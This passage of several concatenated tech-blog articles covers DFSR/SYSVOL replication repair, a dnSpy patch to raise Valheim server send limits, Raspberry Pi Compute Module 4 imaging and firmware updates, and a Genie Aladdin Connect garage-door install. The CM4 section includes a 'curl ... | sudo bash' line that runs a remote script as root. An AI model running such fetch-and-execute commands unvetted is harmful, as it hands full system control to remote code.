interval. This is often useful after fixing replication topology or restoring connectivity. Check DFSR replicated folder state wmic /namespace:\\root\microsoftdfs path dfsrreplicatedfolderinfo get replicatedfoldername,replicationgroupname,state Common state values: 0 = Uninitialized 1 = Initialized 2 = Initial Sync 3 = Auto Recovery 4 = Normal (healthy) A healthy SYSVOL replication state is usually 4. If a DC remains stuck in 2 or 3, further investigation is needed. Check DFSR machine configuration wmic /namespace:\\root\microsoftdfs path dfsrMachineConfig get MaxOfflineTimeInDays This shows the offline threshold before DFSR stops normal replication and requires recovery. Fix 1: Resume DFS Replication After Long Offline Periods One of the most common DFSR failures happens when a domain controller has been offline too long. By default, DFSR commonly triggers protective behavior after extended offline periods (often associated with Event ID 4012). This prevents stale SYSVOL data from replicating automatically. The correct recovery path is usually: determine whether the server needs a non-authoritative restore or, in rare cases, an authoritative SYSVOL restore Do not treat this as a normal “resume replication” issue. As a temporary emergency measure, some administrators extend the offline threshold: $config = Get-CimInstance -Namespace root/microsoftdfs -ClassName DfsrMachineConfig $config.MaxOfflineTimeInDays = 60 Set-CimInstance -CimInstance $config Then force DFSR to reread AD: dfsrdiag PollAD Important Do not set this to extremely large values like 10000 as standard practice. That can hide serious problems like: stale replication journal wrap issues broken DFSR membership inconsistent SYSVOL versions Use a temporary increase only when necessary, then restore a reasonable value afterward. Fix 2: Verify SYSVOL Health Before Considering Restore If a DC is stuck in: Initial Sync Auto Recovery In Recovery repeated DFSR Event 4012 / 2213 states you may need a proper DFSR recovery procedure rather than simple replication commands. This is where many admins reach for unsafe shortcuts like RoboCopy or old FRS-era commands. Avoid both. The correct approach is usually: non-authoritative restore (most common) authoritative restore (only when a known-good source must overwrite others) Important: dfsrmig.exe Is Not a Repair Tool dfsrmig.exe /getmigrationstate dfsrmig.exe is used for: FRS → DFSR SYSVOL migration It is not used for: repairing broken DFSR replication reauthorizing a DC resetting DFS membership restoring SYSVOL health Do not use dfsrmig /setmigrationstate as a repair step for broken SYSVOL replication. That is a different workflow entirely. Emergency Service Restoration (Use With Caution) If GPO delivery is broken and business impact is immediate, some teams temporarily copy SYSVOL contents from a healthy DC to restore access to policy files. robocopy \\SourceDC\SYSVOL \\TargetDC\SYSVOL /MIR /COPYALL /R:3 /W:5 /LOG:C:\SysVolSync.log Strong warning This is a break-glass emergency workaround, not a proper DFSR repair. Why it is risky: DFSR database state is separate from file contents permissions and ACLs must remain correct staging conflicts can occur inconsistent SYSVOL versions can make the problem worse Microsoft-supported authoritative/non-authoritative restore procedures are preferred whenever possible. Use direct copy only when immediate service restoration is required and you fully understand the risks. Common Root Causes DFS replication failures usually come from one of these: Low disk space Low free disk space can pause or severely impair DFSR, especially on the SYSVOL volume and staging folders. Check free space first. Antivirus interference Real-time AV scanning against DFSR databases, staging folders, or SYSVOL paths can cause major replication problems. Use Microsoft-recommended exclusions for: DFSR database paths DFSR staging folders SYSVOL paths where appropriate Avoid hardcoded exclusions unless they match your environment. NTFS permission changes SYSVOL requires specific NTFS permissions and inherited security settings. Manual permission changes can break replication or cause inconsistent GPO application. Long maintenance outages If a DC will be offline for extended maintenance, be aware of the DFSR offline threshold and recovery requirements before bringing it back. Quick Reference Card ProblemCommandCheck AD replicationrepadmin /replsummaryForce AD replicationrepadmin /syncall /AePRefresh DFSR config from ADdfsrdiag PollADCheck offline threshold (PowerShell)$config = Get-CimInstance -Namespace root/microsoftdfs -ClassName DfsrMachineConfig$config.MaxOfflineTimeInDaysCheck offline threshold (WMIC)wmic.exe /namespace:\\root\microsoftdfs path dfsrMachineConfig get MaxOfflineTimeInDaysTemporarily extend offline threshold (PowerShell)$config = Get-CimInstance -Namespace root/microsoftdfs -ClassName DfsrMachineConfig$config.MaxOfflineTimeInDays = 180Set-CimInstance -CimInstance $configTemporarily extend offline threshold (WMIC)wmic.exe /namespace:\\root\microsoftdfs path dfsrMachineConfig set MaxOfflineTimeInDays=180Check migration status onlydfsrmig.exe /getmigrationstate The safest rule with DFSR is simple: Never use migration tools as repair tools, and never use file copy as your first fix. Start with replication health, confirm the actual failure mode, and only escalate to authoritative/non-authoritative restore when normal recovery is no longer possible. #### Fixing Valheim Dedicated Server Lag – Modify Send/Receive Limits My Valheim Dedicated Server Castle UPDATE 6/15/2021: This method no longer works because Valheim updated the game code. New method is here: Revisiting Fixing Valheim Lag – Modifying Send Receive Limits Valheim is a really fun game that recently entered early access where you are basically a Viking in purgatory trying to get to Valhalla. It honestly works pretty well (I would say especially compared to recently ‘AAA’ titles like Cyberpunk) for an early access title. Unsurprisingly though there are definitely still some issues and a very common one is lag on a dedicated server. This guide will show some methods you can use to help reduce lag on your Valheim dedicated server! If you are looking for how to back up your local game client’s world or characters, check out my guide here! Symptoms of lag on Valheim dedicated servers The symptoms you are experiencing on the server can help narrow down what type of lag you are experiencing and what may be causing it. Lag caused by your CPU being too overloaded for example will have different symptoms than lag that is caused by your server hitting the maximum send/receive limit as an example. By far the most common type of dedicated server lag seen in the early access Valheim release so far has been mainly due to the low send/receive limit if 64KB/s that is hard coded into the server. This means that when you do something like take your character a heavily populated area on the server it has to send all that information about all the buildings/players through an artificially limited very narrow 64KB/s pipe. Symptoms of the send/receive limit type of lag include things like chests taking a very long time to open, sometimes 10-30 seconds or never opening while at the same time being able to see players walking around normally. This is because the other people’s X / Y / Z positions is a very small amount of data compared to all the items/names/attributes that are stored in the chest. The other players moving easily fits through the narrow pipe while the chest full of loot’s data chokes since it is much larger. I’ll specifically lay out how to modify your server and increase this limit in the “Modifying your server’s send/receive limit” section below. Before that though let’s cover a more specific type of lag to watch out for (mostly by being avoided) related to terrain manipulation. Avoid extensive terrain manipulation (for now) Another commonly observed source of lag has to do with terrain manipulation. Some players have found that if they take a big chunk out of the ground in Valheim and make extensive terrain modifications that the area gets filled with separate “instances” of terrain for each modification people make. Think of the original ground as one big piece in the game files. Valheim has the very cool feature of letting you modify terrain by raising it/lower it/level it/etc. Each time you do this though the game has to store what you did as a new “instance” or a modification. The way Valheim seems to work now is it renders that original piece and then the modifications afterward. Early reports suggest having a whole bunch of them in one spot seems to sometimes cause everyone’s in-game FPS on the server to drop as low as 40 when the clients normally are much much higher than that. The best way to avoid this type of lag at the moment is to limit how much terrain modification you are doing in areas near your base. It is likely this will be addressed/eased in future patches. There should be some things the developer team can do to clean up/merge these instances or at least reduce their effect on the rendering process so it doesn’t drop the in-game FPS so dramatically. Save The Greylings… said no one ever* Modifying your server’s send/receive limit At this time there is no options file for Valheim unfortunately. The only way to change it is to modify the server’s code and recompile the module that controls this. Fortunately this is a lot easier than it sounds because the module we need to change is in .NET instead of something like C++ which would be much more difficult to do this with. I did not come up with this method, a very clever user on reddit (maximgame) shared it here and I want to give credit where credit is due! Despite it not being too difficult these modifications are at your own risk. I haven’t experienced any problems so far but technically we are modifying the server’s code with the following procedure so understand that this isn’t an officially supported method and could have side effects or if you make a mistake could cause serious problems. Make sure you have backed up everything (your game world files especially) before you try anything! Another important note is that it’s very likely you will have to make the changes again each update since the file we are going to modify is going to get replaced by updates. Until they add either a launch option or options file to officially change/control this property that is unfortunately unavoidable. With all that being said if you understand the above and still feel comfortable let’s proceed! Get dnSpy utility We are going to use the utility dnSpy to modify the server code and recompile the module. The utility is free and is available here (download the Win64 build or dnSpy-net-win64.zip): GitHub Official dnSpy Page Extract the archive and run the program dnSpy.exe from inside the folder you extracted. The dnSpy application will open. Modifying server with dnSpy We are going to go to the “File” menu in the top left and choose “Open” like this: dnSpy – File -> Open Menu Now you need to navigate to the Valheim dedicated server folder which is located in your “steamapps” folder. If you left all the options default when you installed it’s typically “C:\Program Files (x86)\Steam\steamapps\common\Valheim dedicated server\valheim_server_Data\Managed”. We are looking for the file “assembly_valheim.dll” in that folder: dnSpy – Selecting Valheim server assembly file Select the file “assembly_valheim.dll” and click “Open” and the server’s assembly will load into dnSpy. Once it has finished loading we are going to go to the “Edit” menu and click “Search Assemblies” like this: dnSpy – Search Assemblies For the search criteria enter “ZDOMan” like this: dnSpy – Searching for ‘ZDOMan’ After the search completes you should see a list of results like the one above. Double click on one of these entries on the list and it should place you in the ZDOMan section of the assembly (seen on the left hand side of the screen): dnSpy – ‘ZDOMan’ section of assembly Perfect. We are now in the right place to make the changes. We just need to locate the line that has the send/receive limitation. To find that press Ctrl+F to bring up the find box (or choose “Edit” -> Find from the menu) and search for “m_dataPerSec =” which should bring up the following line: dnSpy- Find m_dataPerSec Variable Now right click on the m_dataPerSec line and click “Edit Class (C#)…”. Another window will open that will let you make changes to the file. We are going to modify ‘61440’ to a variable of our choosing. Common choices are to double it or triple it or to add a 0 to the end. I added a ‘0’ to the end of the existing number for my server making it 614400. Theoretically setting a limit too high could cause the server to swamp your internet connection if you have a large number of players on and there’s essentially no limit but there shouldn’t be any other effects of a very high number. Once you’ve changed the number to the desired value we need to press the “Compile” button in the bottom right corner of this new window. This window will close and take you back to the previous one. Saving the new assembly It’s time to save our changes into a new .dll file. Choose “File” -> “Save Module…”: dnSpy – Save Module as assembly_valheim_modded.dll Change the file name to assembly_valheim_modded.dll. Don’t overwrite the original file just yet as we will want to take a backup and make sure that the server is closed before we do that. Press “OK” to write the new assembly_valheim_modded.dll file. Backing up original file and replacing with our new one Now it’s time to back up the original file and replace it with our new modded file. First make sure your dedicated server is closed otherwise the dll file will be in use. It is also a good time to make a backup of your world file just in case (see my Valheim Dedicated Server Backup Location / Guide for instructions) Navigate in a file explorer window to your Valheim server directory where we saved the new assembly file (usually C:\Program Files (x86)\Steam\steamapps\common\Valheim dedicated server\valheim_server_Data\Managed). First make a copy of the original assembly_valheim.dll file. You can just select the file and “copy” then paste a copy of it in that same folder and Windows will make a “valheim_assembly Copy(1).dll” file for you or you can back it up to a separate folder. Now remove the original file and rename your “valheim_assembly_modded.dll” file to the original file name of “valheim_assembly.dll”. That’s it, you’ve now replaced the old assembly with the new one! Go ahead and start your server normally and the changes will have taken effect. (Optional) Modifying Clients (not recommended unless absolutely necessary) Note that the game client also has rate limits so the server is only half the picture. It’s in the exact same file only instead of the dedicated server folder it is the client. The path on an install with default paths would be something like: C:\Program Files (x86)\steamapps\common\Valheim\valheim_Data\Managed\assembly_valheim.dll and each player would make the same modification as you did with the server to this file. I did not do this on my server as I found the performance gained from lifting the limits on the server side to be enough of an improvement. It alleviated the congestion / eliminated the chest lag problem completely on my server. It would also be a royal pain to have every single player have to do this (and remember, again for every single update since those files will get replaced). However, if you know you are doing something “extreme” like having full server with 10 people building a massive fortress that takes up an entire valley / a crazy giant farm with lots of livestock / anything like that with a huge amount of entities it may actually be worth the effort to modify the clients in that case. I haven’t heard of modifying game clients triggering VAC (Valve Anti-Cheat) on Valheim yet but remember you are in fact modding the game client when you run this procedure on the client side and this is often not allowed and actively enforced with frequent ban-waves on many games today such as competitive multiplayer titles. I really recommend against doing it because of this risk (if not now then possibly in the future) unless you’ve tried the server modifications and it isn’t enough or you’re doing something really extreme and know you need it and understand the risk! Other Resources It’s also important to back up your local game’s characters and local worlds if you are using them. I have written a guide for the local game side that is available here! Other Valheim Lag Issues If you know of other Valheim lag issues that I didn’t cover here or are still having problems let me know in the comments and I will update this guide with other tips/tricks and try to answer any questions. It’s still a very new game and there isn’t very much out there for it yet. Have fun and enjoy! Valheim – 0 Days Since Last Accident…* #### Full Raspberry Pi Compute Module 4 Setup / Imaging Guide Raspberry Pi Compute Module 4 mounted in IO Board The Raspberry Pi Compute Module 4 is primarily meant for embedded projects and didn’t catch my interest at first. That was until people started absolutely smashing previous records on my Pi storage benchmarking site pibenchmarks.com. Upon further investigation it turns out that people are breaking these records using the Compute Module 4 since it allows running a NVMe drive through PCI express instead of having to use a USB adapter (the current bottleneck in other Pis). Wanting to investigate these new capabilities for myself I got a hold of some gear and wanted to write a setup and configuration guide on everything you need for a full CM4 (Compute Module 4) setup and how to get it imaged and configured. Let’s get started! Table of Contents Toggle Hardware PrerequisitesImaging Compute Module 4 eMMCInstructions (Windows)Instructions (Linux)Compute Module 4 ConfigurationEnable USB PortsEnable SSHPreconfigure WiFi / WirelessUpdate FirmwareLinux Firmware Update InstructionsWindows Firmware Update InstructionsFirst BootBenchmarking / Testing StorageConclusionOther Resources Hardware Prerequisites The Compute Module 4 is a bit more in depth to work with than other models of the Raspberry Pi and has some prerequisites you need first to work with them. Once you have them it’s very easy to work with multiple compute modules with varying capabilities (some will have no WiFi, some will have no eMMC, some won’t have either). The ones that have WiFi + eMMC are the hardest to find and can get expensive (as in over $100, unheard of for a Pi) if you also get a high memory option like a 4GB or 8GB Compute Module 4. Raspberry Pi Compute Module 4 – Base Board The Compute Module 4 by the Raspberry Pi Foundation is a single-board computer (SBC) that is meant to be used in embedded devices. It has many new capabilities that have not been seen on other Pis before such as a built in eMMC module (optional) and has PCI express capabilities when used with the IO board. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* The “Raspberry Pi Compute Module 4 IO Board” is the most important one: Raspberry Pi Compute Module 4 – IO Board This is essentially the “motherboard” of the compute module. This IO breakout board lets us work with the compute module and get the ports we need to interface with it. This includes a SD card slot for models that don’t have eMMC, a PCI express slot (very exciting), 2 USB ports and more. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* There are also smaller and more purpose built boards (IO and otherwise) for the Compute Module 4 available but this is the one meant for development. The Compute Module 4 snaps into the IO board and becomes a part of it. Here’s what it looks like removed: Compute Module 4 removed from IO Board You will also need a power adapter. If you want to work with powerful NVMe drives or other power hungry PCI express technologies then I strongly recommend getting a full 12V DC adapter like this: 12V DC 4A Power Supply Delivers a full 12V DC to the IO board so that there’s enough power to run very powerful NVMe drives / accessories Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Here are the minimal power requirements. This power adapter will not give you much extra room for NVMe drives but the more power efficient ones will run from it. Highly recommend the bigger option. SHNIT Power Adapter A generic 5V 3A power adapter designed to be in the safe range for the Raspberry Pi 3 / 4 / routers / USB hubs / other small electronics. Comes with different tips to fit different connections but the default connection (no tip) fits the IO board perfectly. Links: Amazon.com*, Amazon.ca*, Amazon.sg* You will need a data-transfer capable micro-USB cable to connect the IO board to your computer. Many of these are “charging only” cables since most things that use the data transfer use newer USB specs. Old cell phone cables are great bets here or you may have to try from a few cables you have. Worst case scenario here is one: You will need jumpers. It can be the bridge style jumpers (often can be found on old motherboards, used for CMOS reset and the like) that are meant to jump two side by side or adjacent pins or you can use a breadboard female to female style jumper like this: Female to Female Breadboard Jumper Female to female breadboard connectors Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* The board does not come with a CR2032 battery unfortunately. These are pretty easy to find though as they are the same type of battery that will be in any old motherboard (the round silver CMOS backup battery). Imaging Compute Module 4 eMMC To image the Compute Module 4’s eMMC storage we will need to put the Compute Module 4 into “mass storage mode” by setting the J2 jumper like I have in my picture at the very top of the article (I have a wired jumper but normal jumpers that just bridge the J2 pin with the pin directly below it will work fine as well). There’s one more step though before it will show up as a mass storage device. We need to get the rpiboot utility. Here’s what the utility will allow us to do: Usage: rpiboot then contain a initramfs to boot through to linux kernel To flash the default bootloader EEPROM image on Compute Module 4 run rpiboot -d recovery For more information about the bootloader EEPROM please see: https://www.raspberrypi.org/documentation/hardware/raspberrypi/booteeprom.md rpiboot : Boot the device into mass storage device rpiboot -d [directory] : Boot the device using the boot files in 'directory' Further options: -l : Loop forever -o : Use files from overlay subdirectory if they exist (when using a custom directory) USB Path (1-1.3.2 for example) is shown in verbose mode. (bootcode.bin is always preloaded-bash: Usage:: command not found from the base directory) -m delay : Microseconds delay between checking for new devices (default 500) -v : Verbose -s : Signed using bootsig.bin -0/1/2/3/4/5/6 : Only look for CMs attached to USB port number 0-6 -h : This help To get the utility follow the instructions for your OS below. Instructions (Windows) For Windows we need to download and install the following: The usbboot utility installer from the Raspberry Pi Foundations GitHub Repository: Official Raspberry Pi “usbboot” GitHub Repository The Raspberry Pi imager utility from the Pi downloads page: Raspberry Pi Official Software Download Page Now you should have a new “Raspberry Pi” folder in your start menu that contains both the new usbboot utility and the Raspberry Pi imager utility like this: “Raspberry Pi” Start Menu Folder with Right Click -> Run as administrator on rpiboot Open the “rpiboot” shortcut from the new “Raspberry Pi” start menu folder by right clicking and choosing “Run as administrator” from the “More” menu (like the above screenshot) and it should open a black console window like this: rpiboot utility If you’ve set your jumper correctly for mass storage mode go ahead and connect the IO board’s micro-USB port (J19) to your PC and connect power to the IO board. You should see the following: rpiboot utility after detecting CM4 in mass storage mode The window will disappear at this point and Windows will see the CM4’s onboard eMMC as a new mass storage device! Now open the Raspberry Pi Imager utility from the “Raspberry Pi” start menu folder. The CM4 will show up as a drive available to be imaged like this: Compute Module 4 mounted in USB Mass Storage Mode within Raspberry Pi Imager If your device wasn’t detected when you plugged in the power double check the following things: Try running it several times as sometimes the boot process seems to get “stuck” and then removing power from the IO board and starting the process over it will work the next time Try running as “Administrator” by going to the rpiboot shortcut in the “Raspberry Pi” start menu folder and right clicking on the shortcut and choosing More -> Run as Administrator You set the jumper located at “Fit jumper to disable eMMC boot” J2 (jumped with the pin directly below it) Check micro-USB cable type. Many of these cables are “charging only” and you need a micro-USB cable that is capable of data transfer. Ones from old cell phones are a great bet for this. Try some different cables if you aren’t sure if the one you are using has data transfer capabilities Check that the CM4 model is “snapped” into the board on both sides securely Make sure your model of CM4 actually has the eMMC (not all models do) Instructions (Linux) First install git, libusb, and make which are prerequisites: sudo apt install git libusb-1.0-0-dev build-essential Now clone the official Raspberry Pi usbboot utility’s repository and build the tool: git clone --depth=1 https://github.com/raspberrypi/usbboot cd usbboot make ls You should now see the rpiboot utility in your current directory. You can install it system-wide with: sudo make install Whether you installed the utility system-wide or not it can now be used from the usbboot directory like this: ./rpiboot If the Pi is connected and the jumper to disable eMMC booting is disabled (like in the picture at the top of this article) you should see the following output: pi@pi:~/usbboot $ ./rpiboot Waiting for BCM2835/6/7/2711... Loading embedded: bootcode4.bin Sending bootcode.bin Successful read 4 bytes Waiting for BCM2835/6/7/2711... Loading embedded: bootcode4.bin Second stage boot server Loading embedded: start4.elf File read: start4.elf Second stage boot server done We can verify that the device was mounted with: ls /dev | grep "sd" If you don’t have any other storage devices connected to the Pi this will usually be sda. If you do have other drives it will appear as a new entry like sdb, sdc, etc. If you did not get the above output / your device wasn’t detected check the following: Try running it several times as sometimes the boot process seems to get “stuck” and then removing power from the IO board and starting the process over it will work the next time Try running as sudo (sudo ./rpiboot) to rule out anything like restrictive USB permissions for regular users and other configuration/environment restrictions Check that the CM4 model is “snapped” into the board on both sides securely Check micro-USB cable type. Many of these cables are “charging only” and you need a micro-USB cable that is capable of data transfer. Ones from old cell phones are a great bet for this. Try some different cables if you aren’t sure if the one you are using has data transfer capabilities Make sure your model of CM4 actually has the eMMC (not all models do) Once you’ve determined the drive is mounted you can use the Raspberry Pi imager to image the device (if your distro has a GUI). You may also directly image the eMMC using dd on the CLI like this: sudo dd if=raw_os_image_of_your_choice.img of=/dev/sdX bs=4MiB After imaging is complete disconnect and reconnect the Pi so that the new partition table is read. You can now mount the partitions with: cd /mnt sudo mkdir boot sudo mkdir root sudo mount /dev/sdX1 /mnt/boot sudo mount /dev/sdX2 /mnt/root The first partition is the “boot” volume where config.txt and other files used during the boot process will be and the second partition is the “root” partition that contains the system and it’s files. You are now ready to configure the Compute Module 4! Compute Module 4 Configuration Now that you’ve finished imaging the module let’s make a few changes to make it more useful. Reconnect the Compute Module 4 to your computer using the USB cable (don’t remove the jumper from J2 disabling eMMC boot yet). Now that it is imaged you should see the “boot” volume where we can make some configuration changes. Enable USB Ports When mounted in the IO board the USB ports will not function without making a change to config.txt and adding an overlay. Add the following line to config.txt: dtoverlay=dwc2,dr_mode=host After adding this line the two USB ports (as well as the “External USB” header) will function the next time the CM4 boots. Enable SSH It’s very useful to have SSH enabled when working with the Compute Module 4. It is enabled simply by creating an empty file named: ssh in the root folder of the “boot” volume (the top-most folder of the drive where start4x.elf, fixup.dat and those files are located). Preconfigure WiFi / Wireless You can also preconfigure the Compute Module 4 (and any Pi) by creating wpa-supplicant.conf at the base of the “boot” volume like we did with “ssh” file. Create a new file named wpa-supplicant.conf that contains the following: ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev country=US update_config=1 network={ ssid="YourNetwork" psk="YourPassword" } When this file is created in the base of the “boot” volume it will automatically be applied to the Pi upon the next startup. Make sure to adjust your country=US line to your own country as this can impact what channels and functionality are available from your WiFi card! Update Firmware If you try to update the CM4’s firmware with the rpi-eeprom-update tool you will get the following message: pi@raspberrypi:~ $ sudo rpi-eeprom-updaterpi-eeprom-update is not enabled by default on CM4. Run with -h for more information. This is disabled by default because an invalid recovery.bin / if power is lost during an update it can cause you to have to restore the firmware using the rpiboot utility since the Pi will not be able to boot and you can’t remove the built in eMMC module like you can with a SD card. We need to use the rpiboot utility to update the firmware. I will use the latest firmware at time of writing but check for the latest firmware at: rpi-eeprom-update Official Raspberry Pi Firmware Repository (if there is a newer one replace the pieeprom-2022-07-26.bin in the curl command below with the newer version file name). Linux Firmware Update Instructions This is meant to be done on your same PC we imaged the Pi with and not the Pi itself (unless you have Windows, in which case you will need to do these instructions on the Pi and copy the resulting “recovery” folder to Windows, see “Windows Firmware Update” section for more info). cd ~/usbboot/recovery rm -f pieeprom.original.bin curl -L -o pieeprom.original.bin https://github.com/raspberrypi/rpi-eeprom/raw/master/firmware/stable/pieeprom-2022-07-26.bin ./update-pieeprom.sh cd .. ./rpiboot -d recovery (Optional) If you want to modify the bootloader’s config such as which device is the primary boot device as well as other bootloader parameters you can actually do so using this same process by editing boot.conf in the recovery folder like this: cd ~/usbboot/recovery nano boot.conf ./update-pieeprom.sh Next make sure your Compute Module 4 IO board’s “disable MMC boot” jumper J2 is bridged with the lower pin to disable eMMC boot. Now connect the power: pi@pi:~/usbboot $ ./rpiboot -d recovery Loading: recovery/bootcode4.bin Waiting for BCM2835/6/7/2711... Loading: recovery/bootcode4.bin Sending bootcode.bin Successful read 4 bytes Waiting for BCM2835/6/7/2711... Loading: recovery/bootcode4.bin Second stage boot server Loading: recovery/config.txt File read: config.txt Loading: recovery/pieeprom.bin Loading: recovery/pieeprom.bin Loading: recovery/pieeprom.sig File read: pieeprom.sig Loading: recovery/pieeprom.bin File read: pieeprom.bin Second stage boot server done That is it! It’s quite a pain, but it’s because the compute modules are designed to be updated once at deployment and shipped with a stock image. They aren’t meant to be updated in the field like regular Pis (at least the Pi’s core firmware) but they can still be updated using this process. After removing the “disable eMMC boot” jumper and rebooting the Pi the firmware will be updated! You can verify this once you boot the Compute Module 4 by running rpi-eeprom-update again which should now look like this: sudo CM4_ENABLE_RPI_EEPROM_UPDATE=1 rpi-eeprom-update BOOTLOADER: up to date CURRENT: Tue 06 Jul 2021 10:44:53 AM UTC (1625568293) LATEST: Tue 06 Jul 2021 10:44:53 AM UTC (1625568293) RELEASE: stable (/lib/firmware/raspberrypi/bootloader/stable) Use raspi-config to change the release. VL805_FW: Using bootloader EEPROM VL805: up to date CURRENT: LATEST: The firmware version for “CURRENT” should match the exact version you used for pieeprom.original.bin in our curl command regardless of what is available in the repository. Windows Firmware Update Instructions For Windows you will need to follow the Linux instructions to get rpiboot (and more importantly the configuration files/scripts) on your Pi to generate the new pieeprom files using the Pi. After following the Linux instructions all the way to the end we will then need to copy the “recovery” folder to Windows where we will be able to run the final command using the Command Prompt (make sure you are in the same directory you copied the “recovery” folder from Linux to before running) of: "C:\Program Files (x86)\Raspberry Pi\rpiboot.exe" -d recovery or you can fully qualify your paths with: "C:\Program Files (x86)\Raspberry Pi\rpiboot.exe" -d "C:\YourPathTo\recovery" and upon connecting the IO board (with USB mass storage boot disabled using the jumpers) the firmware will be updated! The process will be exactly the same as Linux except for the very last step since you aren’t going to be able to plug the running Compute Module 4 IO board into itself to perform the final update using the “recovery” folder. This is extra work if you don’t have an additional Pi / Linux PC available you can plug the IO board into but it can be done! First Boot You are now ready to boot your Compute Module 4. Go ahead and remove the jumper now from J2 and the pin below it. If you’re using a monitor connect it to the IO board first. Now connect power to the IO board and the eMMC boot process will start. Your OS should boot with your preconfigured settings! Benchmarking / Testing Storage Once you’ve booted up you can verify your drive’s performance using my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive / eMMC / etc. on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Conclusion The Compute Module 4 is really interesting and fun to work with. It’s still pretty difficult, time consuming (including in shipping) and expensive to get a hold of these but they are extremely cool. A Compute Module 4 setup with an IO board is actually the most powerful Pi setup there is (including vs the Pi 400) because it has access to PCI express and NVMe storage. This is a game changer and has resulted in a higher class of performance (as seen on my pibenchmarks.com storage benchmark) than has ever been possible on the Pi before. This is all in a package that is only slightly larger than a Pi Zero but has much greater capabilities. It’s also the first Pi to ever have a built in eMMC storage! There’s a lot happening with these devices and I would expect a lot of these capabilities to start showing up in other Pis as well. Overall it’s definitely worth exploring them and getting a “Compute Module 4” setup going if you are a Pi / SBC enthusiast or want to build your own products powered by a Pi! Other Resources Definitely don’t miss my Shapes, Sizes and Features of Compute Module 4 IO Boards guide to see which IO boards may work best for your project If you want to see how you can use real PCIe / NVMe on the Compute Module 4 check out my PCIe 1x NVMe Compute Module 4 guide For an explanation of the Pico W (a microcontroller) check out my Pico W Explained article or if you want to jump right into the action and see what it’s like to work with a Pico check out my Pico W Getting Started guide #### Genie Garage Door Opener Aladdin Smart Home Upgrade Genie Aladdin Connect – Installed I’ve been investigating ways to make my garage doors on my home “smart”. My overall goal is to implement them into Home Assistant. I’ve been investigating various options to do this including do-it-yourself with ESP modules (which I’ve used for a lot of other parts of my home automation). My home is only about 3 years old and came preinstalled with a “dumb” Genie garage door system that does not have smart capabilities. I decided to investigate the official upgrade option offered by the company via their Aladdin smart home upgrade kit as it only cost about $60. In this guide I’ll cover installing the upgrade kit for Genie garage doors and how well it performed. I’ll also cover implementing it within Home Assistant. Let’s get started! Table of Contents Toggle Hardware UsedChecking Existing Garage DoorsUpgrade KitInstallationFinal InstallationAdding to Home AssistantConclusionOther Resources Hardware Used Genie Aladdin Connect The Genie Aladdin Connect smart home upgrade kit can support up to 3 doors and works with Home Assistant as well as Alexa / Google Assistant / a cloud app / more. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.co.jp*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* Checking Existing Garage Doors First you should make sure that you don’t already have a model of Genie garage door opener that already has WiFi / smart capabilities. The models that have it will look like this: Genie WiFi Enabled Garage Door Opener If your garage door openers have either the WiFi or Aladdin Connect logos on them (like the ones seen in the above picture) then you already have a WiFi / smart home enabled unit. Unfortunately the ones that the builder used for my home look like this: Genie – Non-WiFi Garage Door Opener No WiFi icon in sight. The current opening system for the door looks like this on the wall: Genie – Old Garage Door Openers You can see that all of my wiring is hidden in this setup behind the wall. Fortunately the Aladdin Connect unit can be wired directly to my existing control panels. My plan is to put the new panel right next to them. Upgrade Kit Now let’s take a look at the components in the upgrade kit: Genie Aladdin Connect Upgrade Kit There are a few different options available to wire the system. If you look at my picture of the quick start guide above one option is to mount the unit above the garage door unit. This may be a better option for some people and I’ve seen lots of installation videos where people did use a setup like that. You can see the power brick on the left hand side. There’s some tape over what is actually a screw to help the unit stay securely plugged in even against the ceiling. The garage door sensor that detects whether the door is open or not is in the center with the mounting bracket on the left hand side of it. We can also see the included wiring to wire the garage door unit to the WiFi-enabled control panel. Installation Genie says that I can wire this new unit right into the back of my existing units. This will allow me to not have to run any additional wires anywhere. My wiring is all hidden within the ceiling and behind the walls so this is a major plus. First I needed to take out the screws of the existing panels so I can easily access the back and run some additional wires for me to plug the Aladdin Connect unit into. The back of my units looked like this: Genie Old Wiring Yep, that looks pretty easy! All I need to do is run wires from my existing units to the new unit to integrate the smart home capabilities into my existing system. I used the provided wiring and hooked everything together in a test setup like this: Genie Aladdin Connect – Test Setup These just plug right into the back of the Aladdin unit in the positions “Door 1” and “Door 2”. After testing to make sure everything worked I moved on to installing the door sensors: Genie Aladdin Connect – Wireless Door Sensor After making sure this worked it was finally time to clean everything up. Final Installation I used the provided anchors to clean up the wiring and mounted the unit on the wall. The final result looks like this: Genie Aladdin Connect – Installed And here’s a wider shot: Genie Aladdin Connect – Installed (Wide) You can see everything is right up above my fridge. This was a convenient installation spot for me since there is a plug already back there to provide AC power for the Aladdin Connect. Adding to Home Assistant To add your garage doors to Home Assistant go to Settings -> Devices and Services. Click “Add Integration” in the bottom right of the screen and look for “Aladdin”: Home Assistant – Aladdin Connect Integration Once you’ve added the integration the devices will show up in your Home Assistant instance like this: Home Assistant – Genie Garage Door Not only do you get easy one click up and down arrows to open and close the garage. The arrows become dim and bright depending on whether the garage is already closed or not. In other words you also get sensors. You can also tell the status of the doors within Home Assistant. You can tell that both garage doors are already shut in the screenshot above because both of the up (or open) arrows are lit up bright white while the other ones are gray. Conclusion I’m very happy with how this turned out. I evaluated a lot of options such as using a ESP32 module like I’ve done to automate many other parts of my home. When I investigated this option though I really didn’t like what I was seeing or how it would turn out. I would have had to run a lot more wires, connect directly with both head units and a whole bunch of other things. 